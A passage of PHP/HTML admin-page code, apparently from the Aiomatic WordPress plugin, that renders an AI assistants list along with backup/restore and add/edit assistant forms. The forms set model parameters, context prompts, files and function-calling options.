'post_status' => 'any' )); if($aiomatic_assistants->have_posts()){ echo '<br><br>' . esc_html__('All assistants', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_assistants->found_posts . ')<br>'; } $current_order = filter_input(INPUT_GET, 'order', FILTER_DEFAULT) === 'asc' ? 'desc' : 'asc'; $title_url = add_query_arg([ 'orderby' => 'title', 'order' => $current_order ], $_SERVER['REQUEST_URI']); $date_url = add_query_arg([ 'orderby' => 'date', 'order' => $current_order ], $_SERVER['REQUEST_URI']); ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAll"></th> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Description", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Avatar", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Assistant Local ID", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Assistant OpenAI ID", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_assistants->have_posts()) { foreach ($aiomatic_assistants->posts as $aiomatic_assistant) { ?> <tr> <td><input class="aiomatic-select-assistant" id="aiomatic-select-<?php echo $aiomatic_assistant->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_assistant->ID;?>"></td> <td><?php echo esc_html($aiomatic_assistant->post_title);?></td> <td><?php echo esc_html($aiomatic_assistant->post_excerpt);?></td> <td><?php $avatar = get_the_post_thumbnail_url($aiomatic_assistant->ID, 'thumbnail'); if($avatar === false){echo 'N/A';}else{echo '<img class="openai-chat-avatar" src="' . $avatar . '" alt="avatar"/>';}?></td> <td><?php echo esc_html($aiomatic_assistant->ID);?></td> <td><?php $ass_id = get_post_meta($aiomatic_assistant->ID, '_assistant_id', true); echo esc_html($ass_id);?></td> <td><?php echo esc_html($aiomatic_assistant->post_date)?></td> <td> <div class="cr_center"> <?php if(!empty($ass_id)) { ?> <a class="button button-small" href="https://platform.openai.com/playground/assistants?assistant=<?php echo esc_html($ass_id);?>" target="_blank"><?php echo esc_html__("Test", 'aiomatic-automatic-ai-content-writer');?></a> <?php } ?> <button class="button button-small aiomatic_sync_assistant" id="aiomatic_sync_assistant_<?php echo $aiomatic_assistant->ID;?>" sync-id="<?php echo $aiomatic_assistant->ID;?>"><?php echo esc_html__("Sync", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_duplicate_assistant" id="aiomatic_duplicate_assistant_<?php echo $aiomatic_assistant->ID;?>" dup-id="<?php echo $aiomatic_assistant->ID;?>"><?php echo esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_edit_assistant" id="aiomatic_edit_assistant_<?php echo $aiomatic_assistant->ID;?>" edit-id="<?php echo $aiomatic_assistant->ID;?>"><?php echo esc_html__("Edit", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small button-link-delete aiomatic_delete_assistant" id="aiomatic_delete_assistant_<?php echo $aiomatic_assistant->ID;?>" delete-id="<?php echo $aiomatic_assistant->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td> </tr> <?php } } else { echo '<tr><td colspan="8">' . esc_html__("No assistants added. You can add more using the 'Add New Assistant' button from above.", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } ?> </tbody> </table> <?php if($aiomatic_assistants->have_posts() && $aiomatic_assistants->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_assistants_panel&wpage=%#%'), 'total' => $aiomatic_assistants->max_num_pages, 'current' => $aiomatic_assistant_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> <br/></hr/><br/> </div> </div> <div id="mymodalfzr_backup" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_backup" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Backup/Restore Assistants", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Restore Assistants From File", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can restore assistants from file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <div class="aiomatic_assistant_upload_form"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Backup File (*.json)", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="file" id="aiomatic_assistant_upload" accept=".json"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Overwrite Existing", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="checkbox" id="aiomatic_overwrite" value="1"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully you can view it in the assistant listing tab.", 'aiomatic-automatic-ai-content-writer'); ?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer'); ?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_assistant_button"><?php echo esc_html__("Import Assistants From File", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size", 'aiomatic-automatic-ai-content-writer'); ?>: <?php echo size_format($aiomaticMaxFileSize)?> </p> </td> </tr> </tbody> </table> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <div> <h3> <?php echo esc_html__('Backup Current Assistants To File:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can backup the current assistants to file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <form method="post" onsubmit="return confirm('Are you sure you want to download assistants to file?');"><input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_assistants');?>"><input name="aiomatic_download_assistants_to_file" type="submit" class="button button-primary coderevolution_block_input" value="Backup Assistants To File"></form> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Import Default Assistants (This Can Take For A While)", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and the plugin will create the default assistants which come bundled with the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <table class="form-table"> <tbody> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_assistant_default_button"><?php echo esc_html__("Import Default Assistants", 'aiomatic-automatic-ai-content-writer');?></button><br> </td> </tr> </tbody> </table> </div> <hr/> </div> </div> </div> </div> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Add New Assistant", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <form action="#" method="post" id="aiomatic_assistants_form"> <br/> <input type="hidden" name="action" value="aiomatic_assistants"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('aiomatic_assistants');?>"> <h4><?php echo esc_html__("Assistant Name*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-assistant-title" name="aiomatic-assistant-title" class="aiomatic-full-size" placeholder="Assistant name" required></textarea> <br/> <h4><?php echo esc_html__("Assistant Model*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI model of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-assistant-model" name="aiomatic-assistant-model" class="aiomatic-full-size"> <?php $assist_mods = array_merge(AIOMATIC_ASSISTANT_MODELS, get_option('aiomatic_custom_models', array())); foreach($assist_mods as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx); if(aiomatic_is_vision_model($modelx, '')) { echo esc_html__(" (Vision)", 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; } ?> </select> <br/> <h4><?php echo esc_html__("Model Temperature", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" step="0.01" max="2" id="aiomatic-assistant-temperature" name="aiomatic-assistant-temperature" value="" placeholder="Model temperature" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Model Top_p", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" max="1" step="0.01" id="aiomatic-assistant-topp" name="aiomatic-assistant-topp" value="" placeholder="Model top_p" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Assistant Description", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the description of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-assistant-description" name="aiomatic-assistant-description" class="aiomatic-full-size" placeholder="Assistant description"></textarea> <br/> <h4><?php echo esc_html__("Assistant Context Prompt", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt which will be sent to the AI. Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-assistant-prompt" name="aiomatic-assistant-prompt" class="aiomatic-full-size" placeholder="Assistant context prompt"></textarea> <br/> <h4><?php echo esc_html__("Assistant First Message", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the first message of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-assistant-first-message" name="aiomatic-assistant-first-message" class="aiomatic-full-size" placeholder="Assistant first message"></textarea> <br/> <h4><?php echo esc_html__("Code Interpreter", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Code Interpreter enables the assistant to write and run code. This tool can process files with diverse data and formatting, and generate files such as graphs.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div>  <input id="aiomatic-assistant-code-interpreter" value="on" type="checkbox" name="aiomatic-assistant-code-interpreter"></h4> <h4><?php echo esc_html__("File Search", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("File Search enables the assistant with knowledge from files that you or your users upload. Once a file is uploaded, the assistant automatically decides when to retrieve content based on user requests. To enable this functionality, a newer model is needed, version 1106 or newer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div>  <input id="aiomatic-assistant-file_search" value="on" type="checkbox" name="aiomatic-assistant-file_search"></h4> <h4><?php echo esc_html__("Assistant Files", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the files which will be available for the assistant. You can add more files in the 'Manage Assistant Files' menu. To enable this functionality, code interpreter or file_search needs to be enabled for this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-assistant-files" multiple name="aiomatic-assistant-files[]" class="aiomatic-full-size" disabled> </select> <br/> <h4><?php echo esc_html__("Assistant Functions", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the function or an array of functions, which the assistant will be able to call You need to respect the required function format, for this to work.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-assistant-functions" name="aiomatic-assistant-functions" class="aiomatic-full-size" placeholder="{ "name": "get_weather", "description": "Determine weather in my location", "parameters": { "type": "object", "properties": { "location": { "type": "string", "description": "The city and state e.g. San Francisco, CA" }, "unit": { "type": "string", "enum": [ "c", "f" ] } }, "required": [ "location" ] } }"></textarea> <br/> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Use Below Functions', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_god_mode_new"/>  <input type='button' class="button-primary" value="<?php esc_attr_e( 'Disable Functions', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_god_mode_new_disable"/> <br/><input type='checkbox' id="function_god_mode"/><label for="function_god_mode"><?php echo esc_html__( 'God Mode (WordPress Function Calling)', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_dalle"/><label for="function_dalle"><?php echo esc_html__( 'Dall-E AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_stable"/><label for="function_stable"><?php echo esc_html__( 'Stable Diffusion AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_midjourney"/><label for="function_midjourney"><?php echo esc_html__( 'Midjourney AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_stable_video"/><label for="function_stable_video"><?php echo esc_html__( 'Stable Diffusion AI Videos', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_amazon"/><label for="function_amazon"><?php echo esc_html__( 'Amazon Product Listing', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_amazon_details"/><label for="function_amazon_details"><?php echo esc_html__( 'Amazon Product Details', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_scraper"/><label for="function_scraper"><?php echo esc_html__( 'Website Scraper', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_rss"/><label for="function_rss"><?php echo esc_html__( 'RSS Parser', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_google"/><label for="function_google"><?php echo esc_html__( 'Google SERP Parser', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_youtube"/><label for="function_youtube"><?php echo esc_html__( 'YouTube Video Search', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_captions"/><label for="function_captions"><?php echo esc_html__( 'YouTube Video Captions Scraper', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_royalty"/><label for="function_royalty"><?php echo esc_html__( 'Royalty Free Image Search', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_email"/><label for="function_email"><?php echo esc_html__( 'Email Sending', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_webhook"/><label for="function_webhook"><?php echo esc_html__( 'Webhook Calling', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_facebook"<?php if(!$fbomatic_active){echo ' disabled title="Required plugin (F-omatic) not activated"';}?>/><label for="function_facebook"><?php echo esc_html__( 'Facebook Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_facebook_image"<?php if(!$fbomatic_active){echo ' disabled title="Required plugin (F-omatic) not activated"';}?>/><label for="function_facebook_image"><?php echo esc_html__( 'Facebook Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_twitter"<?php if(!$twitomatic_active){echo ' disabled title="Required plugin (Twitomatic) not activated"';}?>/><label for="function_twitter"><?php echo esc_html__( 'Twitter Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_instagram"<?php if(!$instamatic_active){echo ' disabled title="Required plugin (iMediamatic) not activated"';}?>/><label for="function_instagram"><?php echo esc_html__( 'Instagram Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_pinterest"<?php if(!$pinterestomatic_active){echo ' disabled title="Required plugin (Pinterestomatic) not activated"';}?>/><label for="function_pinterest"><?php echo esc_html__( 'Pinterest Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_business"<?php if(!$businessomatic_active){echo ' disabled title="Required plugin (Businessomatic) not activated"';}?>/><label for="function_business"><?php echo esc_html__( 'Google My Business Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_youtube_community"<?php if(!$youtubomatic_active){echo ' disabled title="Required plugin (Youtubomatic) not activated"';}?>/><label for="function_youtube_community"><?php echo esc_html__( 'YouTube Community Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_reddit"<?php if(!$redditomatic_active){echo ' disabled title="Required plugin (Redditomatic) not activated"';}?>/><label for="function_reddit"><?php echo esc_html__( 'Reddit Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_linkedin"<?php if(!$linkedinomatic_active){echo ' disabled title="Required plugin (Linkedinomatic) not activated"';}?>/><label for="function_linkedin"><?php echo esc_html__( 'LinkedIn Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <h4><?php echo esc_html__("Assistant Avatar", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar of the chatbot assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-new"/></div> <input type="hidden" name="aiomatic-assistant-avatar" id="aiomatic_image_id_new" value="" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_new"/>  <input type='button' class="button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_new"/> <br/><br/> <hr/> <button id="aiomatic-assistants-save-button" class="button button-primary"><?php echo esc_html__("Save", 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-assistants-success"></div> <br/> </form> </div> </div> </div> </div> <div id="mymodalfzr-edit" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close-edit" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Edit Assistant", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <form action="#" method="post" id="aiomatic_assistants_form-edit"> <br/> <input type="hidden" name="action" value="aiomatic_assistants_edit"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('aiomatic_assistants');?>"> <input type="hidden" name="assistant_id" id="assistant_id" value=""> <h4><?php echo esc_html__("Assistant Name*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-assistant-title-edit" name="aiomatic-assistant-title" class="aiomatic-full-size" placeholder="Assistant name" required></textarea> <br/> <h4><?php echo esc_html__("Assistant Model*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI model of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-assistant-model-edit" name="aiomatic-assistant-model" class="aiomatic-full-size"> <?php $assist_mods = array_merge(AIOMATIC_ASSISTANT_MODELS, get_option('aiomatic_custom_models', array())); foreach($assist_mods as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx); if(aiomatic_is_vision_model($modelx, '')) { echo esc_html__(" (Vision)", 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; } ?> </select> <br/> <h4><?php echo esc_html__("Model Temperature", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" step="0.01" max="2" id="aiomatic-assistant-temperature-edit" name="aiomatic-assistant-temperature" value="" placeholder="Model temperature" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Model Top_p", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" max="1" step="0.01" id="aiomatic-assistant-topp-edit" name="aiomatic-assistant-topp" value="" placeholder="Model top_p" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Assistant Description", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the description of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-assistant-description-edit" name="aiomatic-assistant-description" class="aiomatic-full-size" placeholder="Assistant description"></textarea> <br/> <h4><?php echo esc_html__("Assistant Context Prompt", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt which will be sent to the AI. Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-assistant-prompt-edit" name="aiomatic-assistant-prompt" class="aiomatic-full-size" placeholder="Assistant context prompt"></textarea> <br/> <h4><?php echo esc_html__("Assistant First Message", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the first message of this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-assistant-first-message-edit" name="aiomatic-assistant-first-message" class="aiomatic-full-size" placeholder="Assistant first message"></textarea> <br/> <h4><?php echo esc_html__("Code Interpreter", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Code Interpreter enables the assistant to write and run code. This tool can process files with diverse data and formatting, and generate files such as graphs.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div>  <input id="aiomatic-assistant-code-interpreter-edit" value="on" type="checkbox" name="aiomatic-assistant-code-interpreter"></h4> <h4><?php echo esc_html__("File Search", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("File Search enables the assistant with knowledge from files that you or your users upload. Once a file is uploaded, the assistant automatically decides when to retrieve content based on user requests. To enable this functionality, a newer model is needed, version 1106 or newer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div>  <input id="aiomatic-assistant-file_search-edit" value="on" type="checkbox" name="aiomatic-assistant-file_search">  <span id="aiomatic-assistant-vector-store-edit"></span></h4> <h4><?php echo esc_html__("Assistant Files", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the files which will be available for the assistant. You can add more files in the 'Manage Assistant Files' menu. To enable this functionality, code interpreter or file_search needs to be enabled for this assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-assistant-files-edit" multiple name="aiomatic-assistant-files[]" class="aiomatic-full-size" disabled> </select> <br/> <h4><?php echo esc_html__("Assistant Functions", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the function or an array of functions, which the assistant will be able to call You need to respect the required function format, for this to work.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" 